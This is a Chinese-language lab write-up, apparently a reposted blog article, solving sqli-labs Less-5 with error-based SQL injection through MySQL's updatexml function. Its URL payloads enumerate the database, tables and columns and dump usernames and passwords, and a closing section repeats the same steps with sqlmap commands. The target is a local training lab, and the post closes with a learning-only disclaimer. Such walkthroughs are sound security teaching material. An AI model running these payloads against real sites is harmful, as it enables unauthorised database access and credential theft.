sqli-labs:Less-5关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)
  • 提示:参数id需以'闭合

但有意思的是,php代码的输出语句不是如下这种,这就导致无法像常规一样回显!

if($row)
{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}

而是如下的代码:

if($row)
{echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";
}

对于很多注入出现无回显的情况,其原因可能是SQL语句查询方式的问题导致,这就需要用到盲注的手段,常用的有:

  • 布尔盲注:逻辑判断
  • 时间盲注:延时判断
  • 报错盲注:报错回显(本关卡解决方法)✅

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-5/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1' order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


2.3. 确定回显位⚡

?id=1' and updatexml(1,(select database()),3) --+
  • updatexml 是 MySQL 的一个 XML 处理函数,但它常被用于 报错注入(Error-Based Blind SQL Injection),因为它会在 XPath 解析错误时返回错误信息,从而泄露数据。

在这里插入图片描述

2.3.1 为什么是这种写法updatexml(1,(select database()),3) ?

想必会有疑惑,为什么下面的3种写法,只使用第1种:

?id=1' and updatexml(1,(select database()),3) --+
?id=1' and updatexml(1,2,(select database())) --+
?id=1' and updatexml((select database()),2,3) --+

这就要从函数updatexml()自身入手,它的3个参数为:

updatexml(XML_document, XPath_expression, new_value)
参数数据类型作用在注入中的用途
1. XML_documentXML 字符串要修改的 XML 文档通常设为 1 或任意值(无实际作用
2. XPath_expressionXPath 字符串用于定位 XML 节点的路径关键参数:构造非法 XPath 触发报错
3. new_valueXML 字符串替换匹配节点的值通常设为 1 或任意值(无实际作用

这就是为什么只有将(select database())放在第2个位置才会起中用,因为放到其他位置不会触发,起不了作用。

2.3.2 联合查询注入中id=-1 ,而报错盲注中id=1?

我们来对比一下,联合查询注入和报错注入的不同处:

?id=-1' union select 1,database(),user() --+?id=1' and updatexml(1,(select database()),3) --+

这是工作机制上的区别:

  • 联合查询注入要求 前一个查询返回空结果,才能让后续的 union 查询结果显示出来。如果前一个查询有结果(如 id=1 存在),数据库会优先显示它的结果,而 union 部分的数据会被忽略。
  • 报错注入依赖 SQL 语句执行并触发错误,所以 前面的条件必须为真,否则整个语句不会执行。如果 id=-1 不存在,and 后面的 updatexml 就不会执行,也就不会报错。

2.4. 获取基础信息

?id=1' and updatexml(1,concat(1,(select database())),3) --+

在这里插入图片描述

2.4.1 updatexml函数的报错机制是什么?
  1. updatexml 的报错机制

    • updatexml() 在解析错误的 XPath 时,会返回 第一个非法字符开始的部分字符串
    • concat(1, (select database())) 生成 "1security" 时:
      • 1 是合法的 XPath 数字(不会触发报错)。
      • ssecurity 的第一个字母)是非法 XPath 字符,所以报错从 s 开始截取。
  2. 为什么 1 没有显示

    • 1 是合法的 XPath 数字,不会触发报错,所以被忽略。
    • 报错信息 只显示第一个非法位置之后的内容(即 security)。
  3. 为什么推荐 0x7e~)?
    3.1. 确保触发报错~ 不是合法 XPath 字符,能强制从开头报错。
    3.2. 完整显示数据:避免因前导数字/字母被忽略而丢失信息(如你的 1 被跳过)。
    3.3. 标准化注入:安全研究人员普遍使用 0x7e,让报错信息更统一。
    完整的输出,可以改用:

    ?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e), 3) --+
    

    报错会显示:
    XPATH syntax error: '~security~'


2.5. 获取表名⚡

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+

在这里插入图片描述


2.6. 获取字段⚡

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+

在这里插入图片描述


2.7. 获取数据⚡

?id=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+

因为updatexml()函数最多显示32位数据,建议使用concat()搭配limit + offset使用,例如limit n,1,n为起始位置。
在这里插入图片描述


2.8. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
--+注释符--+
order by判断字段数order by 4
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-5/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-5/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

本文是关于报错盲注的介绍与解析,内容详细,记录了我对于一些报错盲注知识的认识。
如有不懂,关卡1的解析更为详细(更为基础),相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91609.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

标准项目-----网页五子棋(4)-----游戏大厅+匹配+房间代码

页面实现 hall.html <!DOCTYPE html> <html lang"ch"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>游戏大厅</title><l…

MySQL分析步

MySQL分析 -- 库名 set dbName bsa_crmeb_bak; -- 表名 set tableName bsa_crmeb_bak;-- 查看bsa_crmeb_bak数据库基本信息 SELECTSCHEMA_NAME AS 数据库名,DEFAULT_CHARACTER_SET_NAME AS 字符集,DEFAULT_COLLATION_NAME AS 排序规则 FROM information_schema.SCHEMATA WHER…

工程化(二):为什么你的下一个项目应该使用Monorepo?(pnpm / Lerna实战)

工程化(二)&#xff1a;为什么你的下一个项目应该使用Monorepo&#xff1f;&#xff08;pnpm / Lerna实战&#xff09; 引子&#xff1a;前端项目的“孤岛困境” 随着你的项目或团队不断成长&#xff0c;一个棘手的问题会逐渐浮现&#xff1a;代码该如何组织&#xff1f; 最…

应用药品注册证识别技术,为医药行业的合规、高效与创新发展提供核心驱动力

在医药行业的庞杂数据海洋中&#xff0c;药品注册证&#xff08;如中国的“国药准字”、美国的NDA/ANDA批号&#xff09;是药品合法上市流通的“身份证”。面对海量的证书审核、录入与验证需求&#xff0c;传统人工处理方式不仅效率低下、成本高昂&#xff0c;更易因疲劳导致差…

Spring Boot 2.1.18 集成 Elasticsearch 6.6.2 实战指南

Spring Boot 2.1.18 集成 Elasticsearch 6.6.2 实战指南前言&#xff1a;一. JAVA客户端对比二. 导入数据2.1 分析创建索引2.2 代码实现三. ElasticSearch 查询3.1 matchAll 查询3.2 term查询3.3 match查询3.4 模糊查询3.5 范围查询3.6 字符串查询3.7 布尔查询3.8 分页与排序3.…

向量投影计算,举例说明

向量投影计算,举例说明 向量投影是指将一个向量(设为向量b\mathbf{b}b)投射到另一个向量(设为向量a\mathbf{a}a)所在直线上,得到一个与a\mathbf{a}

如何在技术世界中保持清醒和高效

“抽象泄露&#xff0c;是存在的&#xff0c;但你需要了解多少&#xff0c;需要理解多深&#xff0c;这一点是因人而异的&#xff0c;绝对不是别人能够建议的。每个人只会站在自己的立场上去建议别人怎么做。”在写下这句话时&#xff0c;身为一个技术开发者&#xff0c;我似乎…

服装公司数字化转型如何做?

WL贸易集团公司&#xff08;以下简称WL&#xff09;自2012年成立以来&#xff0c;在十余年的发展历程中不断蜕变与升级。公司始终秉持“时尚与品质优先”的核心经营理念&#xff0c;通过严格执行高标准、严要求&#xff0c;牢牢把握产品品质与交货周期两大关键&#xff0c;赢得…

GM DC Monitor 之 银河麒麟 Docker 部署安装手册

官方网站&#xff1a;www.gm-monitor.com 本手册以银河麒麟为例&#xff0c;介绍在 Linux 系统上安装和配置DOCKER服务的详细步骤 一、以root用户执行以下操作命令 1、环境优化 modprobe br_netfilter cat <<EOF > /etc/sysctl.d/docker.conf net.bridge.bridge-n…

网络编程接口bind学习

1、概述下面2个问题你会怎么回答呢?1、bind如果绑定0号端口&#xff0c;可以工作么&#xff0c;如果能正常工作&#xff0c;绑定的什么端口 2、客户端可以调用bind么2、解析2.1、bind如果绑定0号端口&#xff0c;可以工作么&#xff0c;如果能正常工作&#xff0c;绑定的什么端…

FinOps X 2025 核心发布:AI 时代下的 FinOps 转型

2025年&#xff0c;人工智能技术的突破性发展正深刻重塑商业与技术格局&#xff0c;智能技术已成为各领域创新的核心驱动力。在此背景下&#xff0c;FinOps X 2025 围绕 AI 技术对财务运营&#xff08;FinOps&#xff09;的革新作用展开深度探讨&#xff0c;重点呈现了以下关键…

使用Min-Max进行数据特征标准化

在数据处理过程中&#xff0c;标准化是非常重要的步骤之一&#xff0c;特别是在机器学习和数据分析中。Min-Max标准化&#xff08;也称为归一化&#xff09;是一种常用的数据标准化方法&#xff0c;它通过将数据缩放到一个指定的范围&#xff08;通常是0到1之间&#xff09;&am…

【Dart 教程系列第 51 篇】Iterable 中 reduce 函数的用法

这是【Dart 教程系列第 51 篇】,如果觉得有用的话,欢迎关注专栏。 博文当前所用 Dart SDK:3.5.4 文章目录 一:reduce 作用 二:举例说明 1:求和 2:查找最大/最小值 3:字符串拼接 4:自定义对象合并 三:注意事项 一:reduce 作用 reduce 是 Iterable 的一个方法,用于…

使用VSCode配置Flutter

本周&#xff08;学期第四周&#xff09;任务&#xff1a; 1.简单学习Flutter&#xff0c;完成环境安装与配置 2.探索Flutter与Unity集成方案 一、Flutter环境配置 根据Flutter官方文档进行环境配置&#xff1a;开发 Android 应用 | Flutter 中文文档 - Flutter 中文开发者网…

React 开发中遇见的低级错误

1.useState不起效果 异步 改用 useRef2.map循环{ WechatQuestionnaireData && WechatQuestionnaireData?.questions?.map((item: any) > (<div className{styles[title]}>{item.questionTitle}</div>))}注意这里的 》 后面是括号 我开始写成{} 好久…

iphone手机使用charles代理,chls.pro/ssl 后回车 提示浏览器打不开该网页

iphone手机使用charles代理,chls.pro/ssl 后回车 提示浏览器打不开该网页) 1、问题现状&#xff1a; Charles安装证书异常问题&#xff0c;网页访问chls.pro/ssl提示网页打不开&#xff0c;在charles页面有链接&#xff0c;可以看到http请求和https就是看不到详细内容 2、解决方…

第11届蓝桥杯Python青少组_国赛_高级组_2020年10月真题

第11届蓝桥杯Python青少组_国赛_高级组_2020年10月真题 更多内容请查看网站&#xff1a;【试卷中心 -----> 蓝桥杯----> Python ----> 国赛】 网站链接 青少年软件编程历年真题模拟题实时更新 一、选择题 第 1 题 执行以下程序,输出的结果是 ( )。 print( 0.1 …

如何处理Y2K38问题

一、什么是Y2K38问题Y2K38 问题&#xff0c;也称为 2038年问题&#xff0c;是一个类似于Y2K问题的计算机日期处理问题。1、什么是Y2K38 问题&#xff1f;Y2K38 问题是指在计算机系统中&#xff0c;某些使用 32位有符号整数 来存储时间的程序&#xff0c;将在 2038年1月19日03时…

LeetCode热题100——146. LRU 缓存

https://leetcode.cn/problems/lru-cache/description/?envTypestudy-plan-v2&envIdtop-100-liked 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓…

一个Pycharm窗口添加多个项目来满足运行多个项目的需求

需求&#xff1a;此前项目文件只有D:\pythonProject 现在进行了如下操作 同时显示两个文件夹D:\pythonProject D:\pythonProject-gh操作步骤如下&#xff1a;最终结果如图所示